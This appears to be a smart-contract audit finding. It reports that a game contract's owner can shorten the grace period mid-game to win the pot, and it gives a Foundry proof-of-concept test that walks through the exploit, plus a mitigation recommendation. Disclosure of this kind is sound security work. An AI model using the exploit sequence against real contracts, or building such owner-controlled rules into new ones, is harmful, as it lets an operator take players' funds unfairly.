[M] Owner can change Grace period during the game gaining an edge over others players
Description:
The function Game::updateGracePeriod
give the right to the Owner to update grace period during the game.
function updateGracePeriod(uint256 _newGracePeriod) external onlyOwner {
require(_newGracePeriod > 0, "Game: New grace period must be greater than zero.");
gracePeriod = _newGracePeriod;
emit GracePeriodUpdated(_newGracePeriod);
}
Impact: This advantage can be used by the owner to win the game by lowering the grace period and take the price.
Proof of Concept:
Add the following test in Game.t.sol
function test_owner_power() public {
uint256 winning_pot;
vm.prank(player1);
game.claimThrone{value: INITIAL_CLAIM_FEE}();
assertEq(player1, game.currentKing());
vm.startPrank(player2);
game.claimThrone{value: game.claimFee()}();
assertEq(player2, game.currentKing());
vm.stopPrank();
vm.startPrank(player3);
game.claimThrone{value: game.claimFee()}();
vm.stopPrank();
vm.startPrank(deployer);
game.claimThrone{value: game.claimFee()}();
uint256 deployerBalanceBefore = deployer.balance;
game.updateGracePeriod(1 seconds);
vm.warp(game.lastClaimTime() + 10 seconds);
game.declareWinner();
winning_pot = game.pendingWinnings(deployer);
game.withdrawWinnings();
assertEq(deployer.balance, deployerBalanceBefore + winning_pot);
}
Recommended Mitigation:
The owner should not be able to change the grace period during the game, if he/she is able to participate to it.